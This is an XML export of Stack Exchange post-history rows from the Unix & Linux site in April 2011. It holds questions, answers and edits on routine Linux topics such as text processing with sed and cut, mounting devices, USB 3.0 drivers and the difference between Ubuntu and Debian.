  <row Id="28697" PostHistoryTypeId="5" PostId="11792" RevisionGUID="bdebc9f7-a809-423a-a05a-3e482a906230" CreationDate="2011-04-22T05:49:04.807" UserId="73" Comment="deleted 3 characters in body" Text="I want to create a script in Linux that automatically downloads the latest Joomla from their website and then installs it to the specified user. Is it possible in a shell script?&#xD;&#xA;&#xD;&#xA;I don't know how it will find the latest Joomla and how it will work, but I want to know if it's possible&#xD;&#xA;" />
  <row Id="28698" PostHistoryTypeId="25" PostId="11775" RevisionGUID="4189347e-3f5c-451f-a2d4-abdd2a3cbe17" CreationDate="2011-04-22T06:09:09.693" Comment="http://twitter.com/#!/StackUnix/status/61310553615900672" />
  <row Id="28699" PostHistoryTypeId="5" PostId="11611" RevisionGUID="d1b42651-f1bf-46cc-b0b2-7e15ac214cc0" CreationDate="2011-04-22T06:15:25.840" UserId="4843" Comment="added 91 characters in body" Text="If you have done crypting with cryptsetup, then you can change the key as:&#xD;&#xA;&#xD;&#xA;cryptsetup luksChangeKey &lt;device&gt; [&lt;key file&gt;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;FYI:   &lt;a href=&quot;http://code.google.com/p/cryptsetup/wiki/Cryptsetup130&quot;&gt;See this Link&lt;/a&gt;" />
  <row Id="28700" PostHistoryTypeId="2" PostId="11793" RevisionGUID="e6728ce3-d6a0-4226-b092-526d72523087" CreationDate="2011-04-22T06:17:13.117" UserId="6848" Text="I have a Sager NP8130 notebook with two USB 3.0 ports which I cannot get to work in any linux distros I've tried.  The distros I've tried so far are the latest 64-bit (where available) versions of the following:&#xD;&#xA;&#xD;&#xA;* Ubuntu&#xD;&#xA;* Mint&#xD;&#xA;* OpenSUSE&#xD;&#xA;* Crunchbang&#xD;&#xA;* Arch&#xD;&#xA;&#xD;&#xA;In each distro I tested the port with two devices, a USB 3.0 Super Talent 8GB Express DUO flash drive and a USB 2.0 Logitech optical mouse.  When I plug the flash drive in it will light up, signaling it is receiving power from the port but the drive does not attempt to mount.  When I plug the mouse in the optical laser does not light up and it appears to be completely nonfunctional.  In each case I also plugged both devices into a USB 2.0 port which worked as expected.&#xD;&#xA;&#xD;&#xA;It should be noted that both USB 3.0 ports work fine in the Windows 7 OS that came with the laptop, with Windows even telling me my device could perform faster when I plug the flash drive into a USB 2.0 port but not giving me such a message when I use the 3.0 ports.&#xD;&#xA;&#xD;&#xA;Research on Google says that USB 3.0 support should have been in the Linux kernel since about 2009, so I'm thinking this isn't an issue with any particular distribution.  I've heard other reports of USB 3.0 working fine, so my amateur suspicion is that it's not a protocol support issue as much as it's likely a driver issue.&#xD;&#xA;&#xD;&#xA;I'm not sure what commands will produce any relevant diagnosis information, but if anyone would like me to copy/paste the results of any commands just let me know in a comment and I'll update the question.&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="28701" PostHistoryTypeId="1" PostId="11793" RevisionGUID="e6728ce3-d6a0-4226-b092-526d72523087" CreationDate="2011-04-22T06:17:13.117" UserId="6848" Text="USB 3.0 ports not working" />
  <row Id="28702" PostHistoryTypeId="3" PostId="11793" RevisionGUID="e6728ce3-d6a0-4226-b092-526d72523087" CreationDate="2011-04-22T06:17:13.117" UserId="6848" Text="éusbàéhardwareà" />
  <row Id="28703" PostHistoryTypeId="2" PostId="11794" RevisionGUID="61ab234c-6758-4156-b98a-8300c4f39ab5" CreationDate="2011-04-22T06:18:33.187" UserId="6849" Text="Hello,&#xD;&#xA;&#xD;&#xA;I've created a group and an user to run lighttpd.&#xD;&#xA;&#xD;&#xA;I would like to run from the web server only files that have these permissions (mygroup/myuser). I don't want to run files with root permissions. &#xD;&#xA;&#xD;&#xA;is this possible?&#xD;&#xA;&#xD;&#xA;Thank you" />
  <row Id="28704" PostHistoryTypeId="1" PostId="11794" RevisionGUID="61ab234c-6758-4156-b98a-8300c4f39ab5" CreationDate="2011-04-22T06:18:33.187" UserId="6849" Text="How to block the execution of files owned by root through lighttpd?" />
  <row Id="28705" PostHistoryTypeId="3" PostId="11794" RevisionGUID="61ab234c-6758-4156-b98a-8300c4f39ab5" CreationDate="2011-04-22T06:18:33.187" UserId="6849" Text="élinuxàéwebserveràélighttpdà" />
  <row Id="28706" PostHistoryTypeId="2" PostId="11795" RevisionGUID="a2c7f1f3-b423-40fc-b540-1947e307d5db" CreationDate="2011-04-22T06:26:48.000" UserId="3629" Text="Personally, if I were going to do this, I'd create a `~/bin/open.sh` script with whatever &quot;open&quot; command is correct for the OS, and make sure `~/bin` is in my path on all my machines.  It scales better that way in case I want to add a Windows+Cygwin box, for example.  The downside is that you need to have a different script for each type of machine, although the scripts are dead simple so it's really not too bad.&#xD;&#xA;&#xD;&#xA;So, in ~/bin/open.sh on the Mac:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    open &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;And in ~/bin/open.sh on Linux:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;    gnome-open &quot;$@&quot;&#xD;&#xA;&#xD;&#xA;And in vimrc:&#xD;&#xA;&#xD;&#xA;    map ,v :!open.sh %&lt;.pdf&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;...Alternately, if you prefer to have everything on the `:!` line, then you can use a semicolon wherever you would normally use a newline in a shell script.  To adapt your example:&#xD;&#xA;&#xD;&#xA;    ... if [ &quot;$OSTYPE&quot; == &quot;darwin10.0&quot; ]; then open %&lt;.pdf; else gnome-open %&lt;.pdf; fi" />
  <row Id="28707" PostHistoryTypeId="2" PostId="11796" RevisionGUID="8824124a-d5c9-459d-9432-c71d36f93688" CreationDate="2011-04-22T07:16:39.937" UserId="6167" Text="An alternate would be to just generate the map keybinding correctly for the OS.  For example:&#xD;&#xA;&#xD;&#xA;    if executable(&quot;cmd.exe&quot;)&#xD;&#xA;        map ,v :!cmd.exe /C start &quot;&quot; &quot;%&lt;.pdf&quot;&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;    elseif $OSTYPE =~ &quot;darwin.*&quot;&#xD;&#xA;        map ,v :!open '%&lt;.pdf'&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;    elseif executable(&quot;gnome-terminal&quot;)&#xD;&#xA;        map ,v :!gnome-terminal '%&lt;.pdf'&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;    endif&#xD;&#xA;&#xD;&#xA;This was tested and appears to work, but as my Vim script is a little shaky and I might have missed some details like proper quoting, I'd probably go more with Jander's approach and just use a shell wrapper which I am far superior in writing.&#xD;&#xA;&#xD;&#xA;    map ,v :!open.sh '%&lt;.pdf'&lt;CR&gt;&lt;CR&gt;&#xD;&#xA;&#xD;&#xA;And in `~/bin/open.sh`:&#xD;&#xA;&#xD;&#xA;    #!/bin/sh&#xD;&#xA;&#xD;&#xA;    if echo &quot;$OSTYPE&quot; | grep &quot;^darwin&quot; &gt;/dev/null 2&gt;&amp;1; then&#xD;&#xA;        open &quot;$@&quot; &amp;&#xD;&#xA;    elif type gnome-terminal &amp;&gt;/dev/null; then&#xD;&#xA;        gnome-terminal &quot;$@&quot; &amp;&#xD;&#xA;    fi" />
  <row Id="28708" PostHistoryTypeId="2" PostId="11797" RevisionGUID="a2c6c4a5-20fe-4538-bd79-830337db4cc7" CreationDate="2011-04-22T07:26:08.237" UserId="1925" Text="Yes, of course it's possible. Any series of things you could do on a command line (and many that aren't feasible there) can be scripted. You will need to find some page or directory that has an identifiable link to the latest version. First parse so you know either the version or have a link to the latest file, then download it, then script out whatever steps need to be taken to install it." />
  <row Id="28709" PostHistoryTypeId="2" PostId="11798" RevisionGUID="cee89138-2818-48dd-8d30-162ef52c5367" CreationDate="2011-04-22T07:38:33.193" UserId="4843" Text="This command will capture your full desktop: So use this command, whenever you want to record skype-conversation ( or anything else )&#xD;&#xA;&#xD;&#xA;ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg   " />
  <row Id="28710" PostHistoryTypeId="2" PostId="11799" RevisionGUID="79f886af-f992-489e-b425-ac61c452ab6f" CreationDate="2011-04-22T07:46:59.863" UserId="6850" Text="On: &#xD;&#xA;&#xD;&#xA;Ubuntu?&#xD;&#xA;Fedora?&#xD;&#xA;Debian?&#xD;&#xA;CentOS?&#xD;&#xA;RedHat?&#xD;&#xA;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you in anticipation!" />
  <row Id="28711" PostHistoryTypeId="1" PostId="11799" RevisionGUID="79f886af-f992-489e-b425-ac61c452ab6f" CreationDate="2011-04-22T07:46:59.863" UserId="6850" Text="How to supress error messages sent to console?" />
  <row Id="28712" PostHistoryTypeId="3" PostId="11799" RevisionGUID="79f886af-f992-489e-b425-ac61c452ab6f" CreationDate="2011-04-22T07:46:59.863" UserId="6850" Text="éubuntuàédebianàéfedoraàécentosàéredhatà" />
  <row Id="28713" PostHistoryTypeId="2" PostId="11800" RevisionGUID="49bcc5e4-0db6-4733-acd7-ecb12217bfb6" CreationDate="2011-04-22T08:19:48.027" UserId="1952" Text="    command 2&gt;/dev/null&#xD;&#xA;&#xD;&#xA;for all distributions and even other unixes." />
  <row Id="28714" PostHistoryTypeId="2" PostId="11801" RevisionGUID="b8201fa7-9d9a-4821-88e3-cba2f98c8fc7" CreationDate="2011-04-22T08:23:58.950" UserId="2504" Text="I need to replace all white spaces inside my text with commas. I'm currently using this line but it doesn't work: I get as output a text file which is exactly the same of the original one:&#xD;&#xA;&#xD;&#xA;    sed 's/[:blank:]+/,/g' orig.txt &gt; modified.txt&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;" />
  <row Id="28715" PostHistoryTypeId="1" PostId="11801" RevisionGUID="b8201fa7-9d9a-4821-88e3-cba2f98c8fc7" CreationDate="2011-04-22T08:23:58.950" UserId="2504" Text="Replace all white spaces with commas in a text file" />
  <row Id="28716" PostHistoryTypeId="3" PostId="11801" RevisionGUID="b8201fa7-9d9a-4821-88e3-cba2f98c8fc7" CreationDate="2011-04-22T08:23:58.950" UserId="2504" Text="étextöprocessingà" />
  <row Id="28717" PostHistoryTypeId="2" PostId="11802" RevisionGUID="ef9cad64-da1d-4a8b-9084-234d83e991c3" CreationDate="2011-04-22T08:26:19.737" UserId="1925" Text="With `sed`:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\s+/,/g' orig.txt &gt; modified.txt&#xD;&#xA;&#xD;&#xA;Or with `perl`:&#xD;&#xA;&#xD;&#xA;    perl -pne 's/\s+/,/g' &lt; orig.txt &gt; modified.txt" />
  <row Id="28721" PostHistoryTypeId="5" PostId="11802" RevisionGUID="e55ae39e-8769-4388-b6fe-6838d36e1cde" CreationDate="2011-04-22T08:40:00.650" UserId="1925" Comment="added 191 characters in body" Text="With `sed`:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\s\+/,/g' orig.txt &gt; modified.txt&#xD;&#xA;&#xD;&#xA;Or with `perl`:&#xD;&#xA;&#xD;&#xA;    perl -pne 's/\s+/,/g' &lt; orig.txt &gt; modified.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit:** To exclude newlines you could use a double negative in perl `perl -pne 's/[^\S\n]+/,/g'` or match against just the white space characters you want `perl -pne 's/[ \t]+/,/g'`." />
  <row Id="28722" PostHistoryTypeId="2" PostId="11804" RevisionGUID="6d332c43-63a9-4363-84b5-352d77bd23ba" CreationDate="2011-04-22T08:42:43.427" UserId="6852" Text="I had large file 200GB in my ext2 disk, then I deleted it(three are no files in Trash). And I haven't gained any free space. I don't want to use fsck as it requres me to unmount disk. I were windows user for a long time, there I could scan disk without unmounting it, is there are similar posibility in Ubuntu 10? " />
  <row Id="28723" PostHistoryTypeId="1" PostId="11804" RevisionGUID="6d332c43-63a9-4363-84b5-352d77bd23ba" CreationDate="2011-04-22T08:42:43.427" UserId="6852" Text="How can I fix linux disk without unmount it?" />
  <row Id="28724" PostHistoryTypeId="3" PostId="11804" RevisionGUID="6d332c43-63a9-4363-84b5-352d77bd23ba" CreationDate="2011-04-22T08:42:43.427" UserId="6852" Text="éubuntuàéfilesystemsàéhardödiskàéfdiskà" />
  <row Id="28725" PostHistoryTypeId="5" PostId="11802" RevisionGUID="7ded6f14-22a0-4320-a2d8-3a5d91443b0d" CreationDate="2011-04-22T08:46:23.300" UserId="1925" Comment="deleted 10 characters in body" Text="With `sed`:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\s\+/,/g' orig.txt &gt; modified.txt&#xD;&#xA;&#xD;&#xA;Or with `perl`:&#xD;&#xA;&#xD;&#xA;    perl -pne 's/\s+/,/g' &lt; orig.txt &gt; modified.txt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Edit:** To exclude newlines in perl you could use a double negative `'s/[^\S\n]+/,/g'` or match against just the white space characters of your choice `'s/[ \t\r\f]+/,/g'`." />
  <row Id="28726" PostHistoryTypeId="2" PostId="11805" RevisionGUID="531f35f0-3e79-406a-a633-c169f959364b" CreationDate="2011-04-22T08:47:32.887" UserId="4658" Text="Hi,&#xD;&#xA;&#xD;&#xA;I am using CentOS.My question is;When I am typing username and password in login field.,I am receiving the following error.&#xD;&#xA;&#xD;&#xA;    Login incorrect&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How can we solve this problem?&#xD;&#xA;&#xD;&#xA;Thanks in advance.&#xD;&#xA;" />
  <row Id="28727" PostHistoryTypeId="1" PostId="11805" RevisionGUID="531f35f0-3e79-406a-a633-c169f959364b" CreationDate="2011-04-22T08:47:32.887" UserId="4658" Text="Centos Login incorrect problem" />
  <row Id="28728" PostHistoryTypeId="3" PostId="11805" RevisionGUID="531f35f0-3e79-406a-a633-c169f959364b" CreationDate="2011-04-22T08:47:32.887" UserId="4658" Text="écentosà" />
  <row Id="28729" PostHistoryTypeId="2" PostId="11806" RevisionGUID="c01ce584-bf6a-4b1b-9c50-775101d3d6fc" CreationDate="2011-04-22T08:52:32.220" UserId="1925" Text="In all likelihood you are not giving the right username and password. Are you sure your keyboard layout is the same and you didn't have &lt;kbd&gt;CapsLock&lt;/kbd&gt; on when you saved your password?" />
  <row Id="28730" PostHistoryTypeId="5" PostId="11799" RevisionGUID="644605e8-08b6-4bdc-98da-c57b4a4fcc33" CreationDate="2011-04-22T08:58:24.467" UserId="1925" Comment="Not a distro specific question, retaged.  Made question body self containing." Text="How can I suppress error messages sent to a console?&#xD;&#xA;&#xD;&#xA;On: Ubuntu? Fedora? Debian? CentOS? RedHat?" />
  <row Id="28731" PostHistoryTypeId="4" PostId="11799" RevisionGUID="644605e8-08b6-4bdc-98da-c57b4a4fcc33" CreationDate="2011-04-22T08:58:24.467" UserId="1925" Comment="Not a distro specific question, retaged.  Made question body self containing." Text="supress error messages sent to console?" />
  <row Id="28732" PostHistoryTypeId="6" PostId="11799" RevisionGUID="644605e8-08b6-4bdc-98da-c57b4a4fcc33" CreationDate="2011-04-22T08:58:24.467" UserId="1925" Comment="Not a distro specific question, retaged.  Made question body self containing." Text="éterminalà" />
  <row Id="28733" PostHistoryTypeId="24" PostId="11799" RevisionGUID="644605e8-08b6-4bdc-98da-c57b4a4fcc33" CreationDate="2011-04-22T08:58:24.467" Comment="Proposed by 1925 approved by 885 edit id of 310" />
  <row Id="28734" PostHistoryTypeId="5" PostId="11794" RevisionGUID="4fa2b159-4544-4a66-b68f-431e877675ab" CreationDate="2011-04-22T08:58:34.140" UserId="1925" Comment="Removed salutation and signature, fixed English article and capitalization." Text="I've created a group and a user to run lighttpd.&#xD;&#xA;&#xD;&#xA;I would like to run from the web server only files that have these permissions (myuser:mygroup). I don't want to run files with root permissions. &#xD;&#xA;&#xD;&#xA;Is this possible?" />
  <row Id="28735" PostHistoryTypeId="24" PostId="11794" RevisionGUID="4fa2b159-4544-4a66-b68f-431e877675ab" CreationDate="2011-04-22T08:58:34.140" Comment="Proposed by 1925 approved by 885 edit id of 309" />
  <row Id="28736" PostHistoryTypeId="5" PostId="11805" RevisionGUID="fc3f3d55-4b0e-4066-9645-b22dc563c143" CreationDate="2011-04-22T08:58:57.573" UserId="1925" Comment="Removed salutation and signature; rewrote for clarity" Text="When I am typing username and password in login field,I  receive the following error:&#xD;&#xA;&#xD;&#xA;    Login incorrect&#xD;&#xA;&#xD;&#xA;How can I solve this problem? I am using CentOS." />
  <row Id="28737" PostHistoryTypeId="4" PostId="11805" RevisionGUID="fc3f3d55-4b0e-4066-9645-b22dc563c143" CreationDate="2011-04-22T08:58:57.573" UserId="1925" Comment="Removed salutation and signature; rewrote for clarity" Text="Centos 'Login incorrect' problem" />
  <row Id="28738" PostHistoryTypeId="24" PostId="11805" RevisionGUID="fc3f3d55-4b0e-4066-9645-b22dc563c143" CreationDate="2011-04-22T08:58:57.573" Comment="Proposed by 1925 approved by 885 edit id of 311" />
  <row Id="28739" PostHistoryTypeId="2" PostId="11807" RevisionGUID="575c1128-2689-49bf-8c55-56cb457ef041" CreationDate="2011-04-22T09:03:37.277" UserId="6215" Text="When I connect a device (tablet, camera, flash drive, external harddrive) to my laptop with Linux I often type the following sequence of commands.&lt;br&gt;&lt;br&gt;&#xD;&#xA;`$ ls /dev/sd*`&lt;br&gt;&#xD;&#xA;Let's say that my device is /dev/sdc&lt;br&gt;&#xD;&#xA;optional `$ sudo mkdir /media/my_flash`&lt;br&gt;&#xD;&#xA;optional `$ sudo chmod 777 /media/my_flash`&lt;br&gt;&#xD;&#xA;`$ sudo mount /dev/sdc /media/my_flash`&#xD;&#xA;&#xD;&#xA;Then I will copy some files and&lt;br&gt;&#xD;&#xA;$ `sudo umount /dev/sdc`&#xD;&#xA;&#xD;&#xA;This sequence guarantees me that the files are copied and nothing bad will happen.&#xD;&#xA;&#xD;&#xA;Could you tell me how to automatize this sequence of commands? So I will only plug the device, it will recognize to which directory it should be mounted, then I will make some file transfer and then it will signal me (in some way) I can unplug the device? Is there some settings in Linux OS for this?&#xD;&#xA;&#xD;&#xA;thank you&#xD;&#xA;" />
  <row Id="28740" PostHistoryTypeId="1" PostId="11807" RevisionGUID="575c1128-2689-49bf-8c55-56cb457ef041" CreationDate="2011-04-22T09:03:37.277" UserId="6215" Text="Automatizing the sequence of mounting commands" />
  <row Id="28741" PostHistoryTypeId="3" PostId="11807" RevisionGUID="575c1128-2689-49bf-8c55-56cb457ef041" CreationDate="2011-04-22T09:03:37.277" UserId="6215" Text="émountà" />
  <row Id="28742" PostHistoryTypeId="25" PostId="11801" RevisionGUID="839ecfd5-f55b-42d4-8f04-7c7125e70c65" CreationDate="2011-04-22T09:09:09.593" Comment="http://twitter.com/#!/StackUnix/status/61355852120064000" />
  <row Id="28744" PostHistoryTypeId="2" PostId="11809" RevisionGUID="c4b9a414-548e-484a-a1a8-ac424929739b" CreationDate="2011-04-22T09:40:39.737" UserId="4843" Text="You can do this by writing a UDEV rules, which will &quot;run&quot; the bash script  ontaining the same bash commands, you mentioned.  Whenever you plug the said devices, UDEV will recognize this, and start behave according to rule.&#xD;&#xA;&#xD;&#xA;For rule writing, you can follow &lt;a href=&quot;http://reactivated.net/writing_udev_rules.html&quot;&gt; this &lt;/a&gt; link." />
  <row Id="28747" PostHistoryTypeId="2" PostId="11811" RevisionGUID="4d8bb8a6-0ae1-4c51-8fe5-0cb6ed5b98e1" CreationDate="2011-04-22T09:41:57.493" UserId="4949" Text="There are several auto-mounting daemons nowadays, as well as the `pmount` command which is specifically meant to let  users mount removable devices under `/media` without requiring `sudo` access.&#xD;&#xA;&#xD;&#xA;Both Gnome and KDE have the option to automatically mount removable volumes when they're connected; depending on what distribution you installed this function might even default to 'on'. &#xD;&#xA;&#xD;&#xA;In GNOME, the options governing this feature are avalaible under `System -&gt; Preferences -&gt; Removable Media`; I've no recent experience with KDE." />
  <row Id="28748" PostHistoryTypeId="2" PostId="11812" RevisionGUID="773f490f-7836-4f3d-b178-1c207ab898bb" CreationDate="2011-04-22T10:40:08.420" UserId="4843" Text="Run gconf-editor&#xD;&#xA;&#xD;&#xA;Navigate to &#xD;&#xA;&#xD;&#xA;/apps/metacity/windows_keybindings/begin_resize&#xD;&#xA;&#xD;&#xA;and change it's value to either &quot;&lt;no value&gt;&quot; or to anything you like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;[ For safer side, you should reboot the machine ]&#xD;&#xA;" />
  <row Id="28749" PostHistoryTypeId="2" PostId="11813" RevisionGUID="24bd7a1f-46a9-4fe5-a5d6-51bdee9b6f5d" CreationDate="2011-04-22T11:22:49.023" UserId="2168" Text="Edit the configuration of your syslog daemon: `/etc/rsyslog.conf`, `/etc/syslog-ng.conf` or similar. Look for &quot;console&quot;." />
  <row Id="28750" PostHistoryTypeId="25" PostId="11807" RevisionGUID="44e7ccce-ecce-47a8-9871-75d54a7b622f" CreationDate="2011-04-22T12:09:09.573" Comment="http://twitter.com/#!/StackUnix/status/61401150976573440" />
  <row Id="28751" PostHistoryTypeId="2" PostId="11814" RevisionGUID="abcc9ae6-2aa0-4d6a-9c3e-ca6610670f21" CreationDate="2011-04-22T13:37:39.837" UserId="4843" Text="You can do this either while creating the user with the option useradd -s /bin/bash [ as suggested by can ], or modify the /etc/passwd file [ as suggested by the asoundmove ], but If you are looking for other solution, then I will suggest you to look for the file &quot;/etc/default/useradd&quot; and modify it according to your need. If you change the line &quot;SHELL=/bin/bash&quot;, it will be applicable for every new user. Also have a look at &quot;/etc/ligin.defs&quot; file.&#xD;&#xA;&#xD;&#xA;Hope it will help you." />
  <row Id="28752" PostHistoryTypeId="2" PostId="11815" RevisionGUID="8ab54ea9-f04e-4c65-b792-74a403c6c0c1" CreationDate="2011-04-22T13:39:42.377" UserId="3125" Text="I have a file `cities` like this:&#xD;&#xA;&#xD;&#xA;    [1598] San Diego, US (inactive)&#xD;&#xA;    [4517] St Louis, US (inactive)&#xD;&#xA;    [6346] Orlando, US (inactive)&#xD;&#xA;&#xD;&#xA;I want to cut out the city names. This is the best I could come up with:&#xD;&#xA;&#xD;&#xA;    cut -d ',' -f1 cities | cut -d ']' -f2&#xD;&#xA;&#xD;&#xA;But that still leaves me with a space before the names. Is there a `cut` like command that I can use that accept delimiters of several characters so I can cut on `] `?" />
  <row Id="28753" PostHistoryTypeId="1" PostId="11815" RevisionGUID="8ab54ea9-f04e-4c65-b792-74a403c6c0c1" CreationDate="2011-04-22T13:39:42.377" UserId="3125" Text="What should I use when cut doesn't cut it?" />
  <row Id="28754" PostHistoryTypeId="3" PostId="11815" RevisionGUID="8ab54ea9-f04e-4c65-b792-74a403c6c0c1" CreationDate="2011-04-22T13:39:42.377" UserId="3125" Text="écommandölineàécutà" />
  <row Id="28755" PostHistoryTypeId="17" PostId="11817" RevisionGUID="3167adde-8df2-423d-8bdc-971c8e54a6cc" CreationDate="2011-04-22T13:43:55.713" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/70392/what-is-the-difference-between-ubuntu-and-debian/70397#70397" Text="" />
  <row Id="28756" PostHistoryTypeId="17" PostId="11818" RevisionGUID="87e1d28d-d495-4acf-9b3d-05f284144c48" CreationDate="2011-04-22T13:43:55.713" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/70392/what-is-the-difference-between-ubuntu-and-debian/70416#70416" Text="" />
  <row Id="28757" PostHistoryTypeId="2" PostId="11817" RevisionGUID="e23fd285-7a93-4386-bc9a-cea0c9cf160a" CreationDate="2011-04-22T00:14:04.967" UserId="3983" Text="Debian has a release maturity model, where Unstable, Sid, is where all the new stuff goes in. If it sticks, then Unstable becomes Testing, in which nothing can be added during testing. This typically lasts 1.5 - 2 years. If no problem at that point, Testing becomes the new Stable release.&#xD;&#xA;&#xD;&#xA;Security updates are made to Stable first, then to Testing.&#xD;&#xA;&#xD;&#xA;Debian Stable is notoriously stable, and notoriously behind the times, but very reliable for servers.&#xD;&#xA;&#xD;&#xA;Ubuntu came along and said: we take Debian Unstable, make it more stable, add all the latest gadgets, dirvers, etc, and release it. &#xD;&#xA;&#xD;&#xA;Ubuntu then works at the security updates, package updates, etc, for their Ubuntu releases. &#xD;&#xA;&#xD;&#xA;Note that I gladly use Ubuntu on the desktop, but I stick to Debian Stable for servers. &#xD;&#xA;&#xD;&#xA;Makes sense?" />
  <row Id="28758" PostHistoryTypeId="2" PostId="11818" RevisionGUID="1937c999-6c7b-461a-9313-31f3fa1320da" CreationDate="2011-04-22T02:11:30.873" UserDisplayName="DKuntz2" Text="Ubuntu is a derivative of Debian, it uses Debian as a base, and adds it's own software/look.&#xD;&#xA;&#xD;&#xA;Debian has a really stable version (like Christopher said), and a less stable version (and a host of different betas/alphas/development builds, like any distribution). Debian is also meant for more advanced users, it's not meant to be anyones first operating system, or an easy just open and browse the web os, it's meant to be a powerful linux machine. Debian doesn't have a release schedule other than get things out when they're ready.&#xD;&#xA;&#xD;&#xA;Ubuntu has four main versions, an LTS and a current (LTS for long term support, Ubuntu supports it's LTSs for about three years (desktop) or five years (server), with the two of those releases having either a Desktop or Server edition. The main difference between the two editions is that server doesn't come with a gui by default. Ubuntu releases a new version every six months (the version names are year.month, so 11.04 is the latest release, with 10.04 as the latest LTS, and 10.10 released in the middle of those two). Every two years (or four releases) they release a new LTS.&#xD;&#xA;&#xD;&#xA;As a bonus fact, Google uses their own custom spin of 10.04 as their internal operating system, and a good deal of the updates to Ubuntu come from Google." />
  <row Id="28759" PostHistoryTypeId="2" PostId="11816" RevisionGUID="0e4c40e9-4dc1-4efe-b200-ce6d43af64a7" CreationDate="2011-04-21T23:58:00.617" UserDisplayName="Genadinik" Text="Are they both different flavors of Linux?  I often see these two used interchangeably or together, which is confusing. Either they may be competing versions of Linux, or parts of the same thing...but not both :)&#xD;&#xA;&#xD;&#xA;Can anyone clarify the difference/similarity between them?" />
  <row Id="28760" PostHistoryTypeId="1" PostId="11816" RevisionGUID="0e4c40e9-4dc1-4efe-b200-ce6d43af64a7" CreationDate="2011-04-21T23:58:00.617" UserDisplayName="Genadinik" Text="What is the difference between Ubuntu and Debian?" />
  <row Id="28761" PostHistoryTypeId="3" PostId="11816" RevisionGUID="0e4c40e9-4dc1-4efe-b200-ce6d43af64a7" CreationDate="2011-04-21T23:58:00.617" UserDisplayName="Genadinik" Text="élinuxà" />
  <row Id="28762" PostHistoryTypeId="17" PostId="11816" RevisionGUID="b5077fdd-9543-49e6-b374-5d692e750626" CreationDate="2011-04-22T13:43:55.713" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/70392/what-is-the-difference-between-ubuntu-and-debian" Text="" />
  <row Id="28763" PostHistoryTypeId="2" PostId="11819" RevisionGUID="874f79b1-7a65-43d3-9dc7-20c1425fb069" CreationDate="2011-04-22T13:46:22.137" UserId="1627" Text="For more complex parsing, you should use [sed(1)][1]:&#xD;&#xA;&#xD;&#xA;    sed -e 's/\[[0-9]\+\] \([^,]\+\),.*/\1/' cities&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/sed" />
  <row Id="28764" PostHistoryTypeId="2" PostId="11820" RevisionGUID="f06ffefb-0798-4496-9206-d260c6b365ff" CreationDate="2011-04-22T13:47:42.913" UserId="3879" Text="You can modify the last `cut` in your pipeline to this:&#xD;&#xA;&#xD;&#xA;    cut -d ' ' -f2-&#xD;&#xA;&#xD;&#xA;The above means that field separator is whitespace, and we want to select all fields starting from the second. The complete sequence becomes:&#xD;&#xA;&#xD;&#xA;    cut -d ',' -f1 cities | cut -d ' ' -f2-" />
  <row Id="28765" PostHistoryTypeId="2" PostId="11821" RevisionGUID="102d387c-4d0d-4474-bdf4-6da57b34cd63" CreationDate="2011-04-22T13:51:35.910" UserId="5824" Text="Is the file a database file by chance or something that might be still &quot;open&quot; by a long running program or daemon?  Generally, if you didn't see a decrease in disk space it's most likely that something still has the file open.&#xD;&#xA;&#xD;&#xA;If it truly is the file system itself that is in error (which would be odd), I'm afraid you'll need to umount the disk to run fsck on it." />
  <row Id="28767" PostHistoryTypeId="2" PostId="11822" RevisionGUID="bf9ed21e-535c-408a-b3fb-362151558c70" CreationDate="2011-04-22T14:14:51.083" UserId="6456" Text="It might be that the driver for the chip that's running the USB 3.0 ports isn't compiled into kernel. You can check the chipset information using `lspci` command:&#xD;&#xA;&#xD;&#xA;    $ /usr/sbin/lspci  |grep -i usb&#xD;&#xA;    00:1a.0 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #4 (rev 02)&#xD;&#xA;    00:1a.1 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #5 (rev 02)&#xD;&#xA;    00:1a.7 USB Controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #2 (rev 02)&#xD;&#xA;    00:1d.0 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #1 (rev 02)&#xD;&#xA;    00:1d.1 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #2 (rev 02)&#xD;&#xA;    00:1d.2 USB Controller: Intel Corporation 82801H (ICH8 Family) USB UHCI Controller #3 (rev 02)&#xD;&#xA;    00:1d.7 USB Controller: Intel Corporation 82801H (ICH8 Family) USB2 EHCI Controller #1 (rev 02)&#xD;&#xA;&#xD;&#xA;Then check kernel configuration whether the USB 3.0 driver is indeed enabled..." />
